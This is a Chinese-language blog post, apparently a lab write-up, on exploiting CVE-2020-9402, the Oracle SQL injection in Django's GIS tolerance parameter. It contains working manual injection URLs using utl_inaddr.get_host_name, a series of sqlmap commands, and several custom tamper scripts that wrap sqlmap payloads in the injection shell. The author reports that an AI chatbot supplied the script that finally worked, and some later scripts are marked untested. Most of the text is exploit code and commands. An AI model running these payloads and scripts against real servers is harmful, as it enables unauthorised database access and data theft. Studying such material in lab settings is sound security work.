sqlmap注入Django GIS函数和聚合中因容差参数导致SQL注入漏洞(CVE-2020-9402)

sqlmap注入Django GIS函数和聚合中因容差参数导致SQL注入漏洞(CVE-2020-9402)

一、手工注入教程

Django GIS函数和聚合中因容差参数导致SQL注入漏洞(CVE-2020-9402)

Django是一个高级的Python Web框架,支持快速开发和简洁实用的设计。

Django在2020年3月4日发布了安全更新,修复了在GIS查询功能中存在的Oracle SQL注入漏洞。该漏洞影响Django 3.0.4、2.2.11和1.11.29之前的版本。

该漏洞需要开发者使用了GIS中的查询功能,且用户可以控制查询集中的字段名。这个漏洞可以通过Django的内置管理界面进行利用。

参考链接:

  • https://www.djangoproject.***/weblog/2020/mar/04/security-releases/

环境搭建

执行如下命令编译并启动一个存在漏洞的Django 3.0.3服务器:

docker ***pose build
docker ***pose up -d

环境启动后,访问http://your-ip:8000即可看到Django默认首页。

漏洞复现

首先访问http://your-ip:8000/vuln/。通过向q参数添加恶意输入来注入SQL:

http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null  OR (1+1

SQL错误信息将会显示,证实注入成功:

另外,你也可以访问http://your-ip:8000/vuln2/,使用不同的payload进行SQL注入:

http://your-ip:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2"  where  (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null  --

SQL错误信息将再次确认注入成功:

手工注入很简单,就是环境打开很难,我的经验是打开容器先试试能不能访问,不能访问就先不管,可能过一俩小时就好了。

推荐两个大佬的解体链接:https://forum.butian.***/share/1923      https://cloud.tencent.***/developer/article/2242442

二、sqlmap测试(Oracle 数据库)

这次的注入笔者走了一大个弯路,都快被折磨疯了。首先就是环境打不开,一整个上午都是开不了环境,没办法测试,只能靠自己猜测。下午环境就好了。

先分析手工注入,有两个地方都有漏洞。

第一个漏洞注入方法:

http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null  OR (1+1

这两个漏洞的注入点都是q,不过路径不一样,一个是vuln,另一个是vuln2。第一个经过BP测试,最重要的位置是“SELECT version FROM v$instance”,修改这个位置的sql命令就可以查询不同结果。

第二个漏洞注入方法:

http://your-ip:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2"  where  (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null  --

和第一个类似,最重要的位置是“SELECT user FROM DUAL”。

那么剩下的就是该怎么利用sqlmap了!

笔者首先是粗略注入试了一下:

python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=0.05)" -p q --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080"  --dbms="Oracle" --technique="BEUSTQ"

不用想,肯定不行,主要是用来查看BP抓的包。感觉sqlmap不可能生成这么复杂的payload,只能靠咱自己了。

笔者想:  payload前:?q=20) = 1 OR (select utl_inaddr.get_host_name((

                payload后:)) from dual) is null OR (1+1

这时候笔者认为只有两个脚本分别在payload前面和后面添加数据可能不行,因为这个payload不需要注释符,sqlmap生成的payload一定会有注释符,想要删去注释符需要另外一个脚本。但是不试试怎么行,so就有了下面的尝试:

想到上次的两个脚本,改一改payload(脚本作用分别是:在sqlmap生成的payload前面和注释符前面添加一段数据)。脚本分别是(知道咱们都懒得翻前面的):

DJqian.py:

from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.NORMAL
 
def dependencies():
    pass
 
def tamper(payload, **kwargs):
    """
    Wraps payload for a specific double RLIKE injection.
    
    It closes the first RLIKE with a quote, injects a UNION query, 
    and ***ments out the rest of the SQL statement.
    This tamper script is specifically designed for the described scenario.
    Example:
    >>> tamper('1 UNION SELECT 1,2,3')
    '" OR ""="(("))UNION SELECT 1,2,3#'
    """
    
    # 检查payload是否为空
    if payload:
        # 模仿手动payload的结构,但将核心注入部分替换为sqlmap的payload
        # prefix: " OR ""="(("))
        # suffix: #
        # 注意:这里的OR ""="(("))是为了语法完整性,但通常sqlmap的payload本身就能构成完整的逻辑单元
        # 一个更简洁、通用的方式是直接闭合和注释
        
        # 简洁版:直接闭合和注释,依赖sqlmap的payload
        # return f'"{payload}#'
        
        # 完整模拟手动Payload版:
        # 如果sqlmap的payload不带UNION,我们可能需要自己加
        # 但通常sqlmap在UNION注入测试时会自带UNION SELECT
        # 这里的`OR ""="(("))`部分可以视情况省略,因为sqlmap的payload通常以AND/OR开头或直接是UNION
        # 为了最大程度地模拟手动Payload,我们保留它
        
        retVal = f'0.05))) FROM "VULN_COLLECTION2"  where  (select utl_inaddr.get_host_name(({payload}'
        return retVal
    else:
        return payload

DJhou.py:

import re
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.NORMAL
 
def dependencies():
    pass
 
def tamper(payload, **kwargs):
    if not payload:
        return payload
    
 
    # 自定义前缀(可通过全局配置修改)
    CUSTOM_PREFIX = ")) from dual) is not null  --"
    
    try:
        # 正则匹配第一个 '--'(忽略后置空格)
        pattern = r'(--)(?:\s|$)'
        # 仅替换首次出现的匹配项
        modified = re.sub(pattern, f"{CUSTOM_PREFIX}\\1", payload, count=1)
        
        # MySQL 特殊处理:确保 '--' 后有空格
        if kwargs.get("dbms") == "MySQL" and "--" in modified:
            modified = re.sub(r'--(?!\s)', '-- ', modified)
            
        return modified
    except Exception as e:
        # 错误处理:返回原始 payload
        return payload

开始注入:

python sqlmap.py -u http://192.168.152.247:8000/vuln2/?q=0.05 -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080" --dbms="Oracle" --tamper="DJqian.py,DJhou.py"  --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"

结果和笔者设想的一样,失败了。

那就再加上一个删去注释符的脚本(笔者找了好几个脚本,不过在这里都没有成功,脚本本身应该没有问题,估计是连用三个脚本出现的问题):

remove_closure.py:

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    
    if payload:
        # 移除payload开头的常见闭合模式
        patterns = [
            # 单引号闭合
            r"^'\)? AND ",
            r"^'\)? OR ",
            r"^'\)?\s+(AND|OR)\s+",
            # 双引号闭合  
            r"^\"\)? AND ",
            r"^\"\)? OR ",
            r"^\"\)?\s+(AND|OR)\s+",
            # 括号闭合
            r"^\)\s+(AND|OR)\s+",
            # 直接开始的AND/OR
            r"^(AND|OR)\s+"
        ]
        
        for pattern in patterns:
            match = re.search(pattern, payload, re.IGNORECASE)
            if match:
                # 移除匹配到的闭合部分,保留后面的payload
                payload = payload[match.end():]
                break
        
        # 处理一些特殊情况
        # 移除开头的 AND/OR 如果它们仍然存在
        payload = re.sub(r'^(AND|OR)\s+', '', payload, flags=re.IGNORECASE)
        
        # 移除可能的多余空格
        payload = payload.strip()
        
    return payload

命令:

python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080"  --dbms="Oracle" --technique="E" --tamper="DJqian.py,DJhou.py,remove_closure.py"  --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"

这里添加了 --technique="E" 指定注入类型为报错注入(没用,反而更错了,咱本身就已经在payload外面插入了报错函数:utl_inaddr.get_host_name,再加一层报错结果可想而知)经过测试,去掉 --technique="E" 也是错的。

这时候笔者发现sqlmap的payload会有

是不是网站状态码的问题,经过学习,可以用命令指定状态码让SQLmap认为是正确的,使用”--code= “

python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080"  --dbms="Oracle" --code=500 --tamper="DJqian.py,DJhou.py,remove_closure.py"  --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"

还是错误,还有其他方法,比如 --string=“特定成功时页面出现的文本” --not-string="特定失败时页面出现的文本"  此处如下,是网页诸如成功与否时候页面的特别数据:

python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080"  --dbms="Oracle" --technique="E" --tamper="DJqian.py,DJhou.py,remove_closure.py" --code=500 --not-string="ORA-00936: missing expression" --string="ORA-06512"  --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"

错误,搜索错误原因得知:--string和--not-string会互斥,只能使用一个 ,修改:

python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080"  --dbms="Oracle"  --tamper="DJqian.py,DJhou.py,remove_closure.py" --code=500 --not-string="ORA-00936: missing expression"   --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"
python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p "q" --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080"  --dbms="Oracle" --tamper="DJqian.py,DJhou.py,remove_closure.py" --code=500  --string="ORA-06512"  --cookie="CactiDateTime=Thu Nov 06 2025 10:54:06 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´); CactiTimeZone=480; cacti_remembers=1%2C0%2C0301d43b73736ac213c23377fa3618315b1a6c22ee90349d89e1f5ce0d389668"

都失败了

没办法了,此时AI给我一个使用 -r加数据包的方法,还是没用。

三、成功

成功的非常侥幸。

我当时是真没辙了,想问问AI我的想法(在sqlmap生成的payload外面加上正确的报错注入的外壳)有没有问题,它回答我说没问题,并且给了我一个tamper脚本(在payload外面加上‘外壳’):

# 保存为 cve_2020_9402.py
#!/usr/bin/env python
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
  
    if not payload:
        # 如果 payload 为空(如探测请求),提供一个真值条件保持语句正确
        return "0.05))) FROM \"VULN_COLLECTION2\" where (select utl_inaddr.get_host_name((1)) from dual) is not null --"
    
    # 核心:将 sqlmap 的 payload 嵌入到手工构造的语句中
    formatted_payload = "0.05))) FROM \"VULN_COLLECTION2\" where (select utl_inaddr.get_host_name(({})) from dual) is not null --".format(payload)
    
    return formatted_payload

我看这代码也没啥特别的,就抱着死马当活马医的想法试了一下:

python sqlmap.py -u "http://192.168.152.247:8000/vuln2/?q=" -p q --dbs --level 5 --risk 3 -v 3 --proxy="http://127.0.0.1:8080"  --dbms="Oracle" --tamper="cve-2020-9402.py"

奇怪的是它尽然真的成功了

笔者直接蒙了,这啥玩意,它凭啥成功啊???

笔者为了搞明白愿意,开启拷问AI模式,最后一切大白:

确实可以把payload放入正确的外壳里面,不过那两个脚本有问题,如:两个tamper脚本的执行顺序问题:sqlmap允许多个tamper,但执行顺序是从左到右。如果先执行加前缀的脚本,再执行加后缀的脚本,那么整个payload就会变成: 前缀 + 原始payload + 后缀 但是,如果先执行加后缀的脚本,再执行加前缀的脚本,那么就会变成: 前缀 + (原始payload + 后缀) 这显然不是我们想要的。

第二个脚本(加后缀)的逻辑可能有问题:它是在payload中第一个'--'处插入后缀,然后保留'--'。但是,如果payload中没有'--',那么就不会加后缀。

第一个脚本(加前缀)在payload为空时返回了原始payload(即空),而第二个脚本在payload为空时也返回空,那么整个payload就为空,可能无法触发漏洞。

两个脚本组合起来的效果可能因为sqlmap的payload生成方式而失败。例如,sqlmap可能会在payload中包含注释符,而我们的第二个脚本依赖于找到第一个'--'来插入后缀,如果payload中有多个'--',我们只替换第一个,这可能导致语法错误。总结就是sqlmap生成payload的情况不确定,容易出问题。 所以可以使用一个新的脚本来一次性将payload拼接到一整个外壳里面。

笔者突然发现那第一个脚本也是在payload外面加上外壳,是不是也行呢,经过尝试确实可以,这两个脚本功能几乎一摸一样。

不过笔者最开始想到的

是怎么回事,经过学习发现还是笔者想的太过简单了,

1、tamper脚本覆盖了sqlmap的注释逻辑:

当您使用tamper脚本时:

- sqlmap先生成基础payload(可能包含注释符)
- tamper脚本修改payload(可能移除或覆盖注释符)
- 最终发送的是tamper脚本处理后的版本

2、tamper脚本没有保留sqlmap的注释符。

笔者的理解是:sqlmap在使用tamper脚本时会自动解决注释符混乱的问题,不过最好还是在脚本里直接加入‘去除sqlmap自己添加的注释符’的功能。

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if not payload:
        return '0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((1)) from dual) is not null --'
    
    # 检查payload是否已经包含注释符
    if '--' in payload:
        # 如果已经有注释符,移除它,用我们的统一注释
        clean_payload = payload.split('--')[0].strip()
        return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({clean_payload})) from dual) is not null --'
    elif '#' in payload:
        # 处理MySQL风格的注释
        clean_payload = payload.split('#')[0].strip()
        return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({clean_payload})) from dual) is not null --'
    else:
        # 没有注释符,直接包装
        return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({payload})) from dual) is not null --'

或者用更强大的注释处理函数:

def tamper(payload, **kwargs):
    if not payload:
        return '0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((1)) from dual) is not null --'
    
    import re
    
    # 移除各种类型的注释符,保留payload核心
    clean_payload = re.sub(r'\s*(--|#).*$', '', payload).strip()
    
    # 确保payload不为空
    if not clean_payload:
        clean_payload = "1"
    
    return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({clean_payload})) from dual) is not null --'

还可以让sqlmap自己控制:

def tamper(payload, **kwargs):
    if not payload:
        return '0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((1)) from dual) is not null'
    
    # 不在tamper脚本中添加注释,让sqlmap自己处理
    return f'0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name(({payload})) from dual) is not null'

这几种脚本我都没进行尝试,可能会错,注意甄别

转载请说明出处内容投诉
CSS教程网 » sqlmap注入Django GIS函数和聚合中因容差参数导致SQL注入漏洞(CVE-2020-9402)

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买